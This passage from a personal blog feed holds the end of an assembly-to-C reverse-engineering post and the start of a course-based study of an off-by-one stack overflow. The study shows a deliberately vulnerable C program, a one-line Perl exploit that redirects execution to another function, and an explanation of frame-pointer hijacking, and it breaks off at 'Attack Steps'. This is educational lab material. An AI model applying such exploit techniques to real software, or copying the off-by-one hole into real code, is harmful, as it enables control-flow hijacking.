&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">push %ebp &amp;lt;foo+0&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mov %esp, %ebp &amp;lt;foo+1&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sub $0x4, %esp &amp;lt;foo+3&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mov 0x8(%ebp), %eax &amp;lt;foo+6&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mov %eax, -0x4(%ebp) &amp;lt;foo+9&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mov -0x4(%ebp), %eax &amp;lt;foo+12&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">cmp 0x10(%ebp), %eax &amp;lt;foo+15&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">jge &amp;lt;foo+32&amp;gt; &amp;lt;foo+18&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mov 0xc(%ebp), %eax &amp;lt;foo+20&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">incl (%eax) &amp;lt;foo+23&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">lea -0x4(%ebp), %eax &amp;lt;foo+25&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">incl (%eax) &amp;lt;foo+28&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">jmp &amp;lt;foo+12&amp;gt; &amp;lt;foo+30&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mov $0x0, %eax &amp;lt;foo+32&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">leave &amp;lt;foo+37&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ret &amp;lt;foo+38&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;strong>Judgment Entry:&lt;/strong>&lt;/p>
&lt;p>The combination of &lt;code>cmp&lt;/code> and &lt;code>jge&lt;/code> indicates a judgment entry.&lt;/p>
&lt;p>&lt;strong>Loop:&lt;/strong>&lt;/p>
&lt;p>The &lt;code>jmp&lt;/code> command jumps to &lt;code>&amp;lt;foo+12&amp;gt;&lt;/code>, signifying the loop condition check.&lt;/p>
&lt;p>&lt;strong>Condition:&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>&lt;code>mov -0x4(%ebp), %eax&lt;/code>: Assigns the value of &lt;code>i&lt;/code> to &lt;code>eax&lt;/code>.&lt;/li>
&lt;li>&lt;code>cmp 0x10(%ebp), %eax&lt;/code>: Compares &lt;code>eax&lt;/code> (value of &lt;code>i&lt;/code>) with &lt;code>c&lt;/code>.&lt;/li>
&lt;/ul>
&lt;p>This calculates &lt;code>i - c&lt;/code> and checks the condition with &lt;code>jge&lt;/code>. In assembly, conditions are reversed compared to C: &lt;code>jge&lt;/code> skips the loop if the condition is met. Thus, the C condition is &lt;code>i - c &amp;lt; 0&lt;/code>.&lt;/p>
&lt;p>The code updates to:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">foo&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">int&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">int&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">c&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="analyze-remaining-code-snippets">Analyze Remaining Code Snippets
&lt;/h2>&lt;p>&lt;strong>Before the Loop:&lt;/strong>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">mov 0x8(%ebp), %eax &amp;lt;foo+6&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mov %eax, -0x4(%ebp) &amp;lt;foo+9&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>These lines assign the value of &lt;code>a&lt;/code> to &lt;code>i&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="n">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;strong>Inside the Loop:&lt;/strong>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">mov 0xc(%ebp), %eax &amp;lt;foo+20&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">incl (%eax) &amp;lt;foo+23&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">lea -0x4(%ebp), %eax &amp;lt;foo+25&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">incl (%eax) &amp;lt;foo+28&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;ul>
&lt;li>&lt;code>mov 0xc(%ebp), %eax&lt;/code> and &lt;code>incl (%eax)&lt;/code> increment the value at the address stored in &lt;code>b&lt;/code>:&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="p">(&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;ul>
&lt;li>&lt;code>lea -0x4(%ebp), %eax&lt;/code> and &lt;code>incl (%eax)&lt;/code> increment &lt;code>i&lt;/code>:&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="n">i&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>The updated code becomes:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">foo&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">int&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">int&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">c&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="identify-the-return-value">Identify the Return Value
&lt;/h2>&lt;p>In x86 calling conventions, return values are stored in the &lt;code>eax&lt;/code> register.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">mov $0x0, %eax
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>This indicates the function returns &lt;code>0&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="k">return&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="final-code">Final Code
&lt;/h2>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;span class="lnt">9
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">foo&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">int&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">int&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">c&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>Off-by-One Overflow Attack Study</title><link>https://nansenli.com/post/2024/10/oboattact-md/</link><pubDate>Tue, 15 Oct 2024 14:18:15 +0000</pubDate><guid>https://nansenli.com/post/2024/10/oboattact-md/</guid><description>&lt;blockquote>
&lt;p>This article is based on my studies in a cybersecurity course at DCU (Dublin City University). Please do not use it for any other purpose.&lt;/p>
&lt;/blockquote>
&lt;h1 id="off-by-one-overflow-attack-analysis">Off-by-One Overflow Attack Analysis
&lt;/h1>&lt;h2 id="background">Background
&lt;/h2>&lt;p>Last week, I attended a security course that included an example of an off-by-one overflow vulnerability. Here is the original code:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="cm">/* Simple off-by-one overflow example */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdio.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdlib.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;string.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">void&lt;/span> &lt;span class="nf">foo&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">char&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">input&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1024&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">strncpy&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">input&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">buf&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">)]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sc">&amp;#39;\0&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">void&lt;/span> &lt;span class="nf">bar&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">void&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;I&amp;#39;ve been hacked&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">int&lt;/span> &lt;span class="n">argc&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">char&lt;/span> &lt;span class="o">**&lt;/span>&lt;span class="n">argv&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">argc&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Usage: %s input_string&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">argv&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">exit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">EXIT_FAILURE&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">foo&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">argv&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>The answer provided for exploiting this vulnerability is:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">perl -e &lt;span class="s1">&amp;#39;system &amp;#34;./obo&amp;#34;, &amp;#34;\x38\x84\x04\x08&amp;#34;x256&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>The result of running this command is that multiple lines of &lt;code>I've been hacked&lt;/code> are printed on the screen.&lt;/p>
&lt;h2 id="analysis">Analysis
&lt;/h2>&lt;p>When the program enters the &lt;code>foo&lt;/code> function, the memory layout looks like this (as observed using GDB):&lt;/p>
&lt;p>From top to bottom, the layout contains the return address, the saved frame pointer, and the buffer (&lt;code>buf&lt;/code>).&lt;/p>
&lt;p>When the line &lt;code>buf[sizeof(buf)] = '\0';&lt;/code> is executed, the least significant byte of the saved frame pointer (&lt;code>ebp&lt;/code>) is set to &lt;code>0&lt;/code>. To ensure that &lt;code>ebp&lt;/code> still points within the &lt;code>buf&lt;/code> region after being partially overwritten, a buffer of at least 1024 bytes is required. Specifically, &lt;code>ebp&lt;/code> needs to be overwritten such that it remains within a reasonable range (— up to &lt;code>0xff&lt;/code>), which is why the buffer is set to &lt;code>0xff * 4&lt;/code> bytes.&lt;/p>
&lt;h2 id="understanding-assembly-commands-on-foo-return">Understanding Assembly Commands on &lt;code>foo&lt;/code> Return
&lt;/h2>&lt;p>When the &lt;code>foo&lt;/code> function returns, it typically executes the following key assembly instructions:&lt;/p>
&lt;h3 id="1-leave-instruction">1. &lt;code>leave&lt;/code> Instruction
&lt;/h3>&lt;p>The &lt;code>leave&lt;/code> instruction is equivalent to:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">mov esp, ebp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">pop ebp
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;ul>
&lt;li>&lt;code>mov esp, ebp&lt;/code>: This sets the stack pointer (&lt;code>esp&lt;/code>) to the value of the frame pointer (&lt;code>ebp&lt;/code>), restoring the stack pointer to the top of the current stack frame and effectively releasing the space occupied by the current function.&lt;/li>
&lt;li>&lt;code>pop ebp&lt;/code>: This pops the value at the top of the stack and assigns it to the frame pointer (&lt;code>ebp&lt;/code>), thereby restoring the caller&amp;rsquo;s frame pointer. Essentially, it writes the return address into &lt;code>ebp&lt;/code>, meaning it assigns the stack value (usually the caller&amp;rsquo;s frame address) to &lt;code>ebp&lt;/code>, restoring the caller&amp;rsquo;s stack frame.&lt;/li>
&lt;/ul>
&lt;p>The effect of &lt;code>leave&lt;/code> is to restore &lt;code>esp&lt;/code> to its state before the function was called and to pop the saved &lt;code>ebp&lt;/code>. If &lt;code>ebp&lt;/code> has been overwritten to point to a special address (such as an address within the buffer), it can result in an incorrect stack pointer location during function return.&lt;/p>
&lt;h3 id="2-ret-instruction">2. &lt;code>ret&lt;/code> Instruction
&lt;/h3>&lt;p>The &lt;code>ret&lt;/code> instruction pops an address off the top of the stack and jumps to that address:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">pop eip
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>If the return address has been overwritten with the address of the &lt;code>bar&lt;/code> function, the execution flow will jump to &lt;code>bar&lt;/code>, allowing an attacker to run arbitrary code. Essentially, &lt;code>ret&lt;/code> pops an address into the instruction pointer (&lt;code>eip&lt;/code>) and jumps to that address to continue execution.&lt;/p>
&lt;h2 id="attack-steps">Attack Steps
